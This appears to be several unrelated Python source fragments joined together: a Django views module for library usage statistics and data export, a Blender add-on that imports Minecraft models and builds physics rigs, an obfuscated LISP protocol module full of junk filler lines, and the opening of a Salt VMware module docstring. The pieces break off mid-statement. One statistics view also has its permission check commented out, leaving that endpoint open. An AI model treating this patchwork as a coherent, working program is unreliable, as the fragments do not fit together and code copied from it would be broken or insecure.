from sushi.models import AttemptStatus, SushiCredentials, SushiFetchAttempt
from logs.logic.export import CSVExport
from logs.logic.queries import StatsComputer, extract_accesslog_attr_query_params
from logs.models import (
AccessLog,
Dimension,
DimensionText,
FlexibleReport,
ImportBatch,
InterestGroup,
ManualDataUpload,
MduState,
Metric,
ReportInterestMetric,
ReportType,
)
from logs.serializers import (
AccessLogSerializer,
DimensionSerializer,
DimensionTextSerializer,
FlexibleReportSerializer,
ImportBatchSerializer,
ImportBatchVerboseSerializer,
InterestGroupSerializer,
ManualDataUploadSerializer,
ManualDataUploadVerboseSerializer,
MetricSerializer,
ReportTypeInterestSerializer,
ReportTypeSerializer,
)
from . import filters
from .logic.reporting.slicer import FlexibleDataSlicer, SlicerConfigError, SlicerConfigErrorCode
from .tasks import export_raw_data_task
class StandardResultsSetPagination(PageNumberPagination):
page_size = 100
page_size_query_param = 'page_size'
max_page_size = 5000
class Counter5DataView(APIView):
# permission_classes = [IsAuthenticated &
# (SuperuserOrAdminPermission | CanAccessOrganizationFromGETAttrs)
# ]
def get(self, request, report_type_id):
report_type = get_object_or_404(ReportType, pk=report_type_id)
computer = StatsComputer()
start = monotonic()
# special attribute signaling that this view is used on dashboard and thus we
# want to cache the data for extra speed using recache
dashboard_view = 'dashboard' in request.GET
data = computer.get_data(report_type, request.GET, request.user, recache=dashboard_view)
label_attrs = dict(view_type='chart_data_raw', report_type=computer.used_report_type.pk)
report_access_total_counter.labels(**label_attrs).inc()
report_access_time_summary.labels(**label_attrs).observe(monotonic() - start)
data_format = request.GET.get('format')
if data_format in ('csv', 'xlsx'):
# for the bare result, we do not add any extra information, just output the list
data = DataFrame(data)
new_keys = [computer.io_prim_dim_name]
if computer.io_sec_dim_name:
new_keys.append(computer.io_sec_dim_name)
# we set the queried dimensions as index so that the default integer index is not
# added to the result
data.set_index(new_keys, drop=True, inplace=True)
return Response(
data,
headers={'Content-Disposition': f'attachment; filename="export.{data_format}"'},
)
# prepare the data to return
reply = {'data': data}
if computer.prim_dim_obj:
reply[computer.prim_dim_name] = DimensionSerializer(computer.prim_dim_obj).data
if computer.sec_dim_obj:
reply[computer.sec_dim_name] = DimensionSerializer(computer.sec_dim_obj).data
reply['reported_metrics'] = MetricSerializer(
computer.reported_metrics.values(), many=True
).data
return Response(reply)
class ReportTypeViewSet(ReadOnlyModelViewSet):
serializer_class = ReportTypeSerializer
queryset = ReportType.objects.filter(materialization_spec__isnull=True)
filter_backends = [PkMultiValueFilterBackend]
def get_queryset(self):
if 'nonzero-only' in self.request.query_params:
return self.queryset.filter(
Q(Exists(ImportBatch.objects.filter(report_type_id=OuterRef('pk'))))
| Q(short_name='interest')
).prefetch_related('controlled_metrics')
return self.queryset
class MetricViewSet(ReadOnlyModelViewSet):
serializer_class = MetricSerializer
queryset = Metric.objects.all()
filter_backends = [PkMultiValueFilterBackend]
class ReportInterestMetricViewSet(ReadOnlyModelViewSet):
serializer_class = ReportTypeInterestSerializer
queryset = (
ReportType.objects.filter(materialization_spec__isnull=True)
.exclude(short_name='interest')
.annotate(used_by_platforms=Count('platforminterestreport__platform', distinct=True))
.prefetch_related(
"interest_metrics",
Prefetch(
"reportinterestmetric_set",
queryset=ReportInterestMetric.objects.select_related(
"metric", "target_metric", "interest_group"
),
),
"controlled_metrics",
)
)
class DimensionTextViewSet(ReadOnlyModelViewSet):
serializer_class = DimensionTextSerializer
queryset = DimensionText.objects.all()
pagination_class = StandardResultsSetPagination
filter_backends = [PkMultiValueFilterBackend]
@property
def paginator(self):
if 'pks' in self.request.query_params:
# if 'pks' are explicitly given, do not paginate and return all
return None
return super().paginator
def post(self, request):
"""
To get around possible limits in query string length, we also provide a POST interface
for getting data for a list of IDs.
It only works if 'pks' attribute is given and does not use pagination
"""
pks = request.data.get('pks', [])
dts = DimensionText.objects.filter(pk__in=pks)
# we do not paginate when using post
return Response(self.get_serializer(dts, many=True).data)
class RawDataExportView(PandasView):
serializer_class = AccessLogSerializer
implicit_dims = ['platform', 'metric', 'organization', 'target', 'report_type', 'import_batch']
export_size_limit = 100_000 # limit the number of records in output to this number
def get_queryset(self):
query_params = self.extract_query_filter_params(self.request)
data = AccessLog.objects.filter(**query_params).select_related(*self.implicit_dims)[
: self.export_size_limit
]
text_id_to_text = {
dt['id']: dt['text'] for dt in DimensionText.objects.all().values('id', 'text')
}
tr_to_dimensions = {rt.pk: rt.dimensions_sorted for rt in ReportType.objects.all()}
for al in data:
al.mapped_dim_values_ = {}
for i, dim in enumerate(tr_to_dimensions[al.report_type_id]):
value = getattr(al, f'dim{i+1}')
al.mapped_dim_values_[dim.short_name] = text_id_to_text.get(value, value)
if al.target:
al.mapped_dim_values_['isbn'] = al.target.isbn
al.mapped_dim_values_['issn'] = al.target.issn
al.mapped_dim_values_['eissn'] = al.target.eissn
return data
@classmethod
def extract_query_filter_params(cls, request) -> dict:
query_params = date_filter_from_params(request.GET)
query_params.update(
extract_accesslog_attr_query_params(
request.GET, dimensions=cls.implicit_dims, mdu_filter=True
)
)
return query_params
class RawDataDelayedExportView(APIView):
permission_classes = [
IsAuthenticated
& (
SuperuserOrAdminPermission
| (OrganizationRequiredInDataForNonSuperusers & CanAccessOrganizationFromGETAttrs)
)
]
def get(self, request):
query_params = self.extract_query_filter_params(request)
exporter = CSVExport(query_params)
return JsonResponse({'total_count': exporter.record_count})
def post(self, request):
query_params = self.extract_query_filter_params(request)
exporter = CSVExport(query_params, zip_compress=True)
export_raw_data_task.delay(
query_params, exporter.filename_base, zip_compress=exporter.zip_compress
)
return JsonResponse(
{
'progress_url': reverse('raw_data_export_progress', args=(exporter.filename_base,)),
'result_url': exporter.file_url,
}
)
@classmethod
def extract_query_filter_params(cls, request) -> dict:
# we use celery with the params, so we need to make it serialization friendly
# thus we convert the params accordingly using str_date and used_ids
query_params = date_filter_from_params(request.GET, str_date=True)
query_params.update(
extract_accesslog_attr_query_params(
request.GET, dimensions=CSVExport.implicit_dims, use_ids=True
)
)
return query_params
class RawDataDelayedExportProgressView(View):
def get(self, request, handle):
count = None
if handle and handle.startswith('raw-data-'):
count = cache.get(handle)
return JsonResponse({'count': count})
class ImportBatchViewSet(ReadOnlyModelViewSet):
serializer_class = ImportBatchSerializer
queryset = ImportBatch.objects.all()
# pagination_class = StandardResultsSetPagination
filter_backends = [filters.AccessibleFilter, filters.UserFilter, filters.OrderByFilter]
def get_queryset(self):
qs = self.queryset
if 'pk' in self.kwargs:
# we only add accesslog_count if only one object was requested
qs = qs.annotate(accesslog_count=Count('accesslog'))
qs = qs.select_related('organization', 'platform', 'report_type')
return qs
def get_serializer_class(self):
if 'pk' in self.kwargs:
# for one result, we can use the verbose serializer
return ImportBatchVerboseSerializer
return super().get_serializer_class()
class LookupSerializer(Serializer):
organization = IntegerField(required=True)
platform = IntegerField(required=True)
report_type = IntegerField(required=True)
months = ListField(child=DateField(), allow_empty=False)
@action(detail=False, methods=['post'])
def lookup(self, request):
""" Based on provided list of records
[("organization", "platform", "report_type", "months")]
return corresponding import batches
"""
serializer = self.LookupSerializer(many=True, data=request.data)
serializer.is_valid(raise_exception=True)
fltr = Q(pk=None) # always empty
for record in serializer.data:
fltr |= (
Q(organization_id=record["organization"])
& Q(platform_id=record["platform"])
& Q(report_type=record["report_type"])
& Q(date__in=record["months"])
)
qs = ImportBatch.objects.filter(fltr)
# Only available organizations of the user
qs = filters.AccessibleFilter().filter_queryset(request, qs, self)
# Apply ordering
qs = filters.OrderByFilter().filter_queryset(request, qs, self)
# Optimizations
qs = (
qs.select_related(
'user',
'platform',
'platform__source',
'organization',
'report_type',
'sushifetchattempt',
)
.prefetch_related('mdu')
.annotate(accesslog_count=Count('accesslog'))
)
return Response(ImportBatchVerboseSerializer(qs, many=True).data)
class PurgeSerializer(Serializer):
batches = ListField(child=IntegerField(), allow_empty=False)
@atomic
@action(detail=False, methods=['post'], serializer_class=PurgeSerializer)
def purge(self, request):
""" Remove all data and related structures of given list of import batches
Note that if id of given ib doesn't exists it is not treated as an error
It might have been already deleted
"""
counter = Counter()
serializer = self.PurgeSerializer(data=request.data)
serializer.is_valid(raise_exception=True)
# only accesible batches
batches = filters.AccessibleFilter().filter_queryset(
request, ImportBatch.objects.filter(pk__in=serializer.data["batches"]), self
)
mdus = list(
ManualDataUpload.objects.filter(import_batches__in=batches).values_list('pk', flat=True)
)
# remove fetch intentions and fetch attempts
to_delete = (
FetchIntention.objects.filter(attempt__import_batch__in=batches)
.values('credentials__pk', 'counter_report__pk', 'start_date')
.distinct()
)
to_delete = [Q(**e) for e in to_delete]
to_delete = reduce(lambda x, y: x | y, to_delete, Q())
if to_delete:
fis_to_delete = FetchIntention.objects.filter(to_delete)
counter.update(
SushiFetchAttempt.objects.filter(fetchintention__in=fis_to_delete).delete()[1]
)
counter.update(fis_to_delete.delete()[1])
# remove import batches
counter.update(batches.delete()[1])
# remove empty manual data uploads
counter.update(
ManualDataUpload.objects.filter(pk__in=mdus, import_batches__isnull=True).delete()[1]
)
return Response(counter)
class DataPresenceParamSerializer(Serializer):
start_date = CharField(validators=[month_validator], required=True)
end_date = CharField(validators=[month_validator], required=True)
credentials = CharField(validators=[pk_list_validator], required=True)
@action(detail=False, methods=['get'], url_name='data-presence', url_path='data-presence')
def data_presence(self, request):
"""
Return a list of combinations of report_type, platform, organization and month for which
there are some data.
It requires a filter composed of `start_date`, `end_date` and `credentials` which is a
comma separated list of credentials primary keys.
The result is a list of dicts with `report_type_id`, `platform_id`, `organization_id`,
`date` and `source`. `source` is either `sushi` for data comming from SUSHI or `manual`
for manually uploaded data.
Please note that the resulting list may contain data which do not belong to any of the
credentials provided in `credentials` filter. This is because manually uploaded data
do not have a direct link to credentials and it would be too costly to remove this extra
data.
"""
# Note:
#
# This endpoint uses fetch attempt data for sushi data and access logs for manually
# uploaded data. We could simplify it by:
# * splitting data from manually uploaded data into one-month import batches
# * adding date to import batches
# * creating empty import batches for 3030 when we decide there is no reason to retry
#
# After these changes, we could simply query import batches to get the data for this view.
# TODO: FIX THIS FOR IMPORT BATCHES -
# we need to create empty import batches for 3030 for that
param_serializer = self.DataPresenceParamSerializer(data=request.GET)
param_serializer.is_valid(raise_exception=True)
params = param_serializer.validated_data
# prepare data from SUSHI - we | |
into project
for rc_file in p.rp_render_controllers:
for rc_obj in rc_file:
new_rc = project_rcs.add()
# new_rc.name: String
new_rc.name = rc_obj.json.parent_key
# new_rc.geometry_molang: String
new_rc.geometry_molang = rc_obj.geometry
# new_rc.texture_molang: String
if len(rc_obj.textures) > 0: # Currently only one texture is allowed
new_rc.texture_molang = rc_obj.textures[0]
else:
new_rc.texture_molang = ''
# new_rc.materials: Collection[MaterialProperties]
for k, v in rc_obj.materials.items():
material = new_rc.materials.add()
material.name = k # pattern
material.value_molang = v
material.owner_name = new_rc.name
# new_rc.geometry_arrays: Collection[ArrayProperties]
for array_name, array_v in rc_obj.geometry_arrays.items():
geo_array = new_rc.geometry_arrays.add()
geo_array.name = array_name
for i in array_v:
item = geo_array.items.add()
item.name = i
# new_rc.texture_arrays: Collection[ArrayProperties]
for array_name, array_v in rc_obj.texture_arrays.items():
texture_array = new_rc.texture_arrays.add()
texture_array.name = array_name
for i in array_v:
item = texture_array.items.add()
item.name = i
# new_rc.material_arrays: Collection[ArrayProperties]
for array_name, array_v in rc_obj.material_arrays.items():
material_array = new_rc.material_arrays.add()
material_array.name = array_name
for i in array_v:
item = material_array.items.add()
item.name = i
@dataclass
class RcStackItem:
'''
Properties of a render controller.
'''
texture: Optional[Image]
'''The image with the textue'''
materials: Dict[str, str] = field(default_factory=dict)
'''Materials dict with pattern keys and full material names values.'''
def import_model_form_project(context: bpy_types.Context) -> List[str]:
'''
Imports model using data selected in Project menu.
:returns: list of warnings
'''
# 1. Load cached data
cached_project = context.scene.mcblend_project
# 2. Open project
rp_path: Path = Path(cached_project.rp_path)
if not rp_path.exists() or rp_path.is_file():
raise ValueError("Invalid resource pack path.")
p = Project()
p.add_rp(ResourcePack(rp_path))
# 3. Load the cached entity data
cached_entity = cached_project.entities[cached_project.entity_names]
# 5. Unpack the data (get full IDs instead of short names) from render
# controllers into a single object and group it by used geometry.
geo_rc_stacks: Dict[str, List[RcStackItem]] = defaultdict(list)
for rc_name in cached_entity.render_controllers.keys():
if rc_name in cached_project.render_controllers.keys():
cached_rc = cached_project.render_controllers[rc_name]
else:
cached_rc = cached_project.fake_render_controllers[rc_name]
texture = None
if cached_rc.texture in cached_entity.textures.keys():
texture_name = cached_entity.textures[cached_rc.texture].value
try:
texture = bpy.data.images.load(
p.rp_texture_files[:texture_name:0].path.as_posix())
except RuntimeError:
texture = None
new_rc_stack_item = RcStackItem(texture)
if cached_rc.geometry not in cached_entity.geometries:
raise ValueError(
f"The render controller uses a geometry {cached_rc.geometry} "
"undefined by the selected entity")
geo_rc_stacks[
cached_entity.geometries[cached_rc.geometry].value
].append(new_rc_stack_item)
for material in cached_rc.materials:
if material.value in cached_entity.materials.keys():
material_full_name = cached_entity.materials[
material.value].value
else:
material_full_name = "entity_alphatest" # default
# (pattern: full identifier) pair
new_rc_stack_item.materials[material.name] = material_full_name
# 7. Load every geometry
# blender_materials - Prevents creating same material multiple times
# it's a dictionary of materials which uses a tuple with pairs of
# names of the texutes and minecraft materials as the identifiers
# of the material to create.
blender_materials: Dict[
Tuple[Tuple[Optional[str], str], ...], Material] = {}
warnings: List[str] = []
for geo_name, rc_stack in geo_rc_stacks.items():
try:
geometry_data: Dict = p.rp_models[:geo_name:0].json.data # type: ignore
except KeyError:
warnings.append(
f"Geometry {geo_name} referenced by "
f"{cached_project.entity_names} is not defined in the "
"resource pack")
continue
# Import model
model_loader = ModelLoader(geometry_data, geo_name)
warnings.extend(model_loader.loader_warnings)
geometry = ImportGeometry(model_loader)
armature = geometry.build_with_armature(context)
# 7.1. Set proper textures resolution and model bounds
model_properties = armature.mcblend
model_properties.texture_width = geometry.texture_width
model_properties.texture_height = geometry.texture_height
model_properties.visible_bounds_offset = geometry.visible_bounds_offset
model_properties.visible_bounds_width = geometry.visible_bounds_width
model_properties.visible_bounds_height = geometry.visible_bounds_height
if geometry.identifier.startswith('geometry.'):
model_properties.model_name = geometry.identifier[9:]
armature.name = geometry.identifier[9:]
else:
model_properties.model_name = geometry.identifier
armature.name = geometry.identifier
# 7.2. Save render controller properties in the armature
for rc_stack_item in rc_stack:
armature_rc = armature.mcblend.\
render_controllers.add()
if rc_stack_item.texture is not None:
armature_rc.texture = rc_stack_item.texture.name
else:
armature_rc.texture = ""
for pattern, material in rc_stack_item.materials.items():
armature_rc_material = armature_rc.materials.add()
armature_rc_material.pattern = pattern
armature_rc_material.material = material
# 7.3. For every bone of geometry, create blender material from.
# Materials are created from a list of pairs:
# (Image, minecraft material)
for bone_name, bone in geometry.bones.items():
# Create a list of materials applicable for this bone
bone_materials: List[Tuple[Image, str]] = []
bone_materials_id: List[Tuple[Optional[str], str]] = []
for rc_stack_item in reversed(rc_stack):
matched_material: Optional[str] = None
for pattern, material in rc_stack_item.materials.items():
if star_pattern_match(bone_name, pattern):
matched_material = material
# Add material to bone_materials only if something matched
if matched_material is not None:
bone_materials.append(
(rc_stack_item.texture, matched_material))
if rc_stack_item.texture is None:
bone_materials_id.append(
(None, matched_material))
else:
bone_materials_id.append(
(rc_stack_item.texture.name, matched_material))
if len(bone_materials) == 0: # No material for this bone!
continue
try: # try to use existing material
material = blender_materials[tuple(bone_materials_id)]
except: # pylint: disable=bare-except
# create material
material = create_bone_material("MC_Material", bone_materials)
blender_materials[tuple(bone_materials_id)] = material
for c in bone.cubes:
if c.blend_cube is None:
continue
c.blend_cube.data.materials.append(
blender_materials[tuple(bone_materials_id)])
return warnings
def apply_materials(context: bpy.types.Context):
'''
Applies materials from render controller menu into the model.
:param context: the context of running the operator.
'''
blender_materials: Dict[
Tuple[Tuple[Optional[str], str], ...], Material] = {}
armature = context.object
mcblend_obj_group = McblendObjectGroup(armature, None)
armature_properties = armature.mcblend
model = ModelExport(
texture_width=armature_properties.texture_width,
texture_height=armature_properties.texture_height,
visible_bounds_offset=tuple( # type: ignore
armature_properties.visible_bounds_offset),
visible_bounds_width=armature_properties.visible_bounds_width,
visible_bounds_height=armature_properties.visible_bounds_height,
model_name=armature_properties.model_name,
)
model.load(mcblend_obj_group)
for bone in model.bones:
# Create a list of materials applicable for this bone
bone_materials: List[Tuple[Image, str]] = []
bone_materials_id: List[Tuple[Image, str]] = []
for rc in reversed(armature_properties.render_controllers):
texture: Optional[Image] = None
if rc.texture in bpy.data.images:
texture = bpy.data.images[rc.texture]
rc_stack_item = RcStackItem(texture)
for rc_material in rc.materials:
rc_stack_item.materials[
rc_material.pattern] = rc_material.material
matched_material: Optional[str] = None
for pattern, material in rc_stack_item.materials.items():
if star_pattern_match(bone.name, pattern):
matched_material = material
# Add material to bone_materials only if something matched
if matched_material is not None:
bone_materials.append(
(rc_stack_item.texture, matched_material))
if rc_stack_item.texture is None:
bone_materials_id.append(
(None, matched_material))
else:
bone_materials_id.append(
(rc_stack_item.texture.name, matched_material))
if len(bone_materials) == 0: # No material for this bone!
continue
try: # try to use existing material
material = blender_materials[tuple(bone_materials_id)]
except: # pylint: disable=bare-except
# create material
material = create_bone_material("MC_Material", bone_materials)
blender_materials[tuple(bone_materials_id)] = material
for c in bone.cubes:
c.mcblend_obj.obj_data.materials.clear()
c.mcblend_obj.obj_data.materials.append(
blender_materials[tuple(bone_materials_id)])
for p in bone.poly_mesh.mcblend_objs:
p.obj_data.materials.clear()
p.obj_data.materials.append(
blender_materials[tuple(bone_materials_id)])
@dataclass
class _PhysicsObjectsGroup:
'''
Group of objects used for rigid body simulation of single bone of armature.
'''
rigid_body: Optional[bpy.types.Object] = None
rigid_body_constraint: Optional[bpy.types.Object] = None
object_parent_empty: Optional[bpy.types.Object] = None
def prepare_physics_simulation(context: bpy_types.Context) -> Dict:
'''
Creates objects necessary for the rigid body simulation of the Minecraft
model.
:param context: the context of running the operator.
'''
result = ModelExport.json_outer()
armature = context.object # an armature
mcblend_obj_group = McblendObjectGroup(armature, None)
# If there is no rigid body world add it to the scene
rigidbody_world = context.scene.rigidbody_world
if rigidbody_world is None:
bpy.ops.rigidbody.world_add()
rigidbody_world = context.scene.rigidbody_world
if rigidbody_world.collection is None:
collection = bpy.data.collections.new("RigidBodyWorld")
rigidbody_world.collection = collection
if rigidbody_world.constraints is None:
collection = bpy.data.collections.new("RigidBodyConstraints")
rigidbody_world.constraints = collection
# Create new collections for the scene
physics_objects_groups: Dict[McblendObject, _PhysicsObjectsGroup] = {}
main_collection = bpy.data.collections.new("Mcblend: Physics")
rb_collection = bpy.data.collections.new("Rigid Body")
rbc_collection = bpy.data.collections.new("Rigid Body Constraints")
bp_collection = bpy.data.collections.new("Bone Parents")
context.scene.collection.children.link(main_collection)
main_collection.children.link(rb_collection)
main_collection.children.link(rbc_collection)
main_collection.children.link(bp_collection)
for _, bone in mcblend_obj_group.items():
if not bone.mctype == MCObjType.BONE:
continue
physics_objects_groups[bone] = _PhysicsObjectsGroup()
# Create children cubes
cubes_group: List[bpy.types.Object] = []
for child in bone.children:
if not child.mctype == MCObjType.CUBE:
continue
new_obj = child.thisobj.copy()
new_obj.data = child.obj_data.copy()
new_obj.animation_data_clear()
context.collection.objects.link(new_obj)
cubes_group.append(new_obj)
bpy.ops.object.select_all(action='DESELECT')
rigid_body: Optional[bpy.types.Object] = None
if len(cubes_group) > 1:
for c in cubes_group:
c.select_set(True)
context.view_layer.objects.active = cubes_group[-1]
bpy.ops.object.join()
rigid_body = context.object
elif len(cubes_group) == 1:
cubes_group[0].select_set(True)
rigid_body = cubes_group[0]
# Move origin to the center of mass and rename the object
if rigid_body is not None:
for material_slot in rigid_body.material_slots:
material_slot.material = None
bpy.ops.object.origin_set(type='ORIGIN_CENTER_OF_VOLUME', center='MEDIAN')
bpy.ops.object.visual_transform_apply()
matrix_world = rigid_body.matrix_world.copy()
rigid_body.parent = None
rigid_body.matrix_world = matrix_world
rigidbody_world.collection.objects.link(rigid_body) # type: ignore
# Move to rigid body colleciton
context.collection.objects.unlink(rigid_body)
rb_collection.objects.link(rigid_body)
# Add keyframes to the rigid body "animated"/"kinematic" property (
# enable it 1 frame after current frame)
rigid_body.rigid_body.kinematic = True
rigid_body.rigid_body.keyframe_insert("kinematic", frame=0)
rigid_body.rigid_body.keyframe_insert(
"kinematic", frame=bpy.context.scene.frame_current)
rigid_body.rigid_body.kinematic = False
rigid_body.rigid_body.keyframe_insert(
"kinematic", frame=bpy.context.scene.frame_current+1)
# rb - rigid body
rigid_body.name = f'{bone.obj_name}_rb'
physics_objects_groups[bone].rigid_body = rigid_body
# Add bone parent empty
empty = bpy.data.objects.new(
f'{bone.obj_name}_bp', None) # bp - bone parent
bp_collection.objects.link(empty)
empty.empty_display_type = 'CONE'
empty.empty_display_size = 0.1
empty.matrix_world = bone.obj_matrix_world
physics_objects_groups[bone].object_parent_empty = empty
# Add "Copy Transforms" constraint to the bone
context.view_layer.objects.active = armature
bpy.ops.object.posemode_toggle() # Pose mode
bpy.ops.pose.select_all(action='DESELECT')
armature.data.bones.active = armature.data.bones[
bone.thisobj_id.bone_name]
bpy.ops.pose.constraint_add(type='COPY_TRANSFORMS')
constraint = bone.this_pose_bone.constraints["Copy Transforms"]
constraint.target = empty
# Add keyframes to the "copy transformation" constraint (
# enable it 1 frame after current frame)
constraint.influence = 0
constraint.keyframe_insert("influence", frame=0)
constraint.keyframe_insert(
"influence", frame=bpy.context.scene.frame_current)
constraint.influence = 1
constraint.keyframe_insert(
"influence", frame=bpy.context.scene.frame_current+1)
bpy.ops.object.posemode_toggle() # Object mode
# Add "Child of" constraint to parent empty
context.view_layer.objects.active = empty
bpy.ops.object.constraint_add(type='CHILD_OF')
| |
return ( None )
if 31 - 31: I11i . i11iIiiIii . OoO0O00 * Oo0Ooo % Ii1I . o0oOOo0O0Ooo
self . nonce , self . key_id , self . alg_id , self . auth_len = struct . unpack ( oOo0ooO0O0oo , packet [ : OO00OO ] )
if 92 - 92: OoooooooOO / O0 * i1IIi + iIii1I11I1II1
self . nonce_key = lisp_hex_string ( self . nonce )
self . auth_len = socket . ntohs ( self . auth_len )
packet = packet [ OO00OO : : ]
self . eid_records = packet [ self . auth_len : : ]
if 93 - 93: ooOoO0o % I1Ii111
if ( self . auth_len == 0 ) : return ( self . eid_records )
if 46 - 46: I1ii11iIi11i * OoOoOO00 * IiII * I1ii11iIi11i . I1ii11iIi11i
if 43 - 43: ooOoO0o . i1IIi
if 68 - 68: IiII % Oo0Ooo . O0 - OoOoOO00 + I1ii11iIi11i . i11iIiiIii
if 45 - 45: I1IiiI
if ( len ( packet ) < self . auth_len ) : return ( None )
if 17 - 17: OoooooooOO - ooOoO0o + Ii1I . OoooooooOO % Oo0Ooo
O0O0O0OOO0o = self . auth_len
if ( self . alg_id == LISP_SHA_1_96_ALG_ID ) :
O0O0OOo00Oo , IiI1iIIiIi1Ii , O0oOoOOO000 = struct . unpack ( "QQI" , packet [ : O0O0O0OOO0o ] )
oOo00o0oO = ""
if 92 - 92: I1Ii111 - OOooOOo % OoO0O00 - o0oOOo0O0Ooo % i1IIi
if ( self . alg_id == LISP_SHA_256_128_ALG_ID ) :
O0O0OOo00Oo , IiI1iIIiIi1Ii , O0oOoOOO000 , oOo00o0oO = struct . unpack ( "QQQQ" ,
packet [ : O0O0O0OOO0o ] )
if 38 - 38: I1ii11iIi11i . I11i / OoOoOO00 % I11i
self . auth_data = lisp_concat_auth_data ( self . alg_id , O0O0OOo00Oo , IiI1iIIiIi1Ii ,
O0oOoOOO000 , oOo00o0oO )
if 10 - 10: O0 . I1IiiI * o0oOOo0O0Ooo / iII111i
OO00OO = struct . calcsize ( "I" ) + struct . calcsize ( "QHH" )
packet = self . zero_auth ( iIiiII11 [ : OO00OO ] )
OO00OO += O0O0O0OOO0o
packet += iIiiII11 [ OO00OO : : ]
return ( packet )
if 61 - 61: Oo0Ooo - I1Ii111
if 51 - 51: iII111i * ooOoO0o / O0 / O0
if 52 - 52: OoooooooOO % O0
if 56 - 56: oO0o - i1IIi * OoooooooOO - II111iiii
if 28 - 28: i1IIi / I11i . o0oOOo0O0Ooo
if 11 - 11: Oo0Ooo * OoooooooOO - i11iIiiIii
if 13 - 13: i11iIiiIii . O0 / OOooOOo * i1IIi
if 14 - 14: IiII + IiII . I11i / Ii1I . iIii1I11I1II1
if 10 - 10: II111iiii . OOooOOo / iII111i
if 35 - 35: iII111i / Oo0Ooo + O0 * iIii1I11I1II1 - O0
if 3 - 3: I1ii11iIi11i
if 42 - 42: I11i % Oo0Ooo + IiII - I11i . iIii1I11I1II1 - Ii1I
if 27 - 27: iII111i % Oo0Ooo . I1ii11iIi11i . i1IIi % OoOoOO00 . o0oOOo0O0Ooo
if 37 - 37: iII111i + I1Ii111 * Ii1I + IiII
if 39 - 39: O0 * Oo0Ooo - I1IiiI + Ii1I / II111iiii
if 66 - 66: ooOoO0o + oO0o % OoooooooOO
if 23 - 23: oO0o . OoOoOO00 + iIii1I11I1II1
if 17 - 17: IiII
if 12 - 12: i1IIi . OoO0O00
if 14 - 14: OOooOOo + II111iiii % OOooOOo . oO0o * ooOoO0o
if 54 - 54: ooOoO0o * I11i - I1Ii111
if 15 - 15: iII111i / O0
if 61 - 61: i1IIi / i1IIi + ooOoO0o . I1Ii111 * ooOoO0o
if 19 - 19: o0oOOo0O0Ooo . II111iiii / i1IIi
if 82 - 82: O0 / iII111i * OoO0O00 - I11i + Oo0Ooo
if 47 - 47: I1ii11iIi11i * I1IiiI / I1ii11iIi11i + Ii1I * II111iiii
if 78 - 78: I1Ii111 - i1IIi + OoOoOO00 + Oo0Ooo * I1ii11iIi11i * o0oOOo0O0Ooo
if 97 - 97: i1IIi
if 29 - 29: I1IiiI
if 37 - 37: I1ii11iIi11i * I1Ii111 * I1IiiI * O0
if 35 - 35: I1IiiI - I1ii11iIi11i * iII111i + IiII / i1IIi
if 46 - 46: Oo0Ooo . ooOoO0o % Oo0Ooo / II111iiii * ooOoO0o * OOooOOo
if 59 - 59: I1Ii111 * iII111i
if 31 - 31: I11i / O0
if 57 - 57: i1IIi % ooOoO0o
if 69 - 69: o0oOOo0O0Ooo
if 69 - 69: I1Ii111
if 83 - 83: iIii1I11I1II1 . o0oOOo0O0Ooo + I1Ii111 . OoooooooOO / ooOoO0o + II111iiii
if 90 - 90: Ii1I * iII111i / OOooOOo
if 68 - 68: OoOoOO00
if 65 - 65: oO0o
if 82 - 82: o0oOOo0O0Ooo
if 80 - 80: i1IIi % OoOoOO00 + OoO0O00 - OoooooooOO / iIii1I11I1II1 + I1Ii111
if 65 - 65: Ii1I
if 71 - 71: I1Ii111 % I1Ii111 . oO0o + i11iIiiIii - i11iIiiIii
if 16 - 16: iIii1I11I1II1 / I1IiiI / I1Ii111 - i11iIiiIii . ooOoO0o / OOooOOo
if 13 - 13: o0oOOo0O0Ooo % O0 - I1Ii111 * OoooooooOO / Oo0Ooo - OoooooooOO
if 78 - 78: oO0o % OoooooooOO
if 73 - 73: I1IiiI % ooOoO0o % IiII + i1IIi - OoooooooOO / oO0o
if 78 - 78: OoooooooOO % oO0o - i11iIiiIii
class lisp_map_request ( ) :
def __init__ ( self ) :
self . auth_bit = False
self . map_data_present = False
self . rloc_probe = False
self . smr_bit = False
self . pitr_bit = False
self . smr_invoked_bit = False
self . mobile_node = False
self . xtr_id_present = False
self . local_xtr = False
self . dont_reply_bit = False
self . itr_rloc_count = 0
self . record_count = 0
self . nonce = 0
self . signature_eid = lisp_address ( LISP_AFI_NONE , "" , 0 , 0 )
self . source_eid = lisp_address ( LISP_AFI_NONE , "" , 0 , 0 )
self . target_eid = lisp_address ( LISP_AFI_NONE , "" , 0 , 0 )
self . target_group = lisp_address ( LISP_AFI_NONE , "" , 0 , 0 )
self . itr_rlocs = [ ]
self . keys = None
self . privkey_filename = None
self . map_request_signature = None
self . subscribe_bit = False
self . xtr_id = None
if 37 - 37: IiII % Ii1I % i1IIi
if 23 - 23: ooOoO0o - O0 + i11iIiiIii
def print_prefix ( self ) :
if ( self . target_group . is_null ( ) ) :
return ( green ( self . target_eid . print_prefix ( ) , False ) )
if 98 - 98: OoooooooOO
return ( green ( self . target_eid . print_sg ( self . target_group ) , False ) )
if 61 - 61: o0oOOo0O0Ooo . IiII . O0 + OoooooooOO + O0
if 65 - 65: i1IIi * OOooOOo * OoooooooOO - IiII . iII111i - OoO0O00
def print_map_request ( self ) :
oO = ""
if ( self . xtr_id != None and self . subscribe_bit ) :
oO = "subscribe, xtr-id: 0x{}, " . format ( lisp_hex_string ( self . xtr_id ) )
if 71 - 71: Ii1I * OoOoOO00
if 33 - 33: i1IIi . i1IIi * OoooooooOO % I1Ii111 * o0oOOo0O0Ooo
if 64 - 64: ooOoO0o / ooOoO0o + I1ii11iIi11i * OOooOOo % OOooOOo
oooOo = ( "{} -> flags: {}{}{}{}{}{}{}{}{}{}, itr-rloc-" +
"count: {} (+1), record-count: {}, nonce: 0x{}, source-eid: " +
"afi {}, {}{}, target-eid: afi {}, {}, {}ITR-RLOCs:" )
if 87 - 87: OoO0O00 * Oo0Ooo
lprint ( oooOo . format ( bold ( "Map-Request" , False ) , "A" if self . auth_bit else "a" ,
# ooOoO0o - OOooOOo / i1IIi * Ii1I * OoOoOO00
"D" if self . map_data_present else "d" ,
"R" if self . rloc_probe else "r" ,
"S" if self . smr_bit else "s" ,
"P" if self . pitr_bit else "p" ,
"I" if self . | |
# -*- coding: utf-8 -*-
'''
Manage VMware vCenter servers and ESXi hosts.
.. versionadded:: 2015.8.4
:codeauthor: :email:`<NAME> <<EMAIL>>`
Dependencies
============
- pyVmomi Python Module
- ESXCLI
pyVmomi
-------
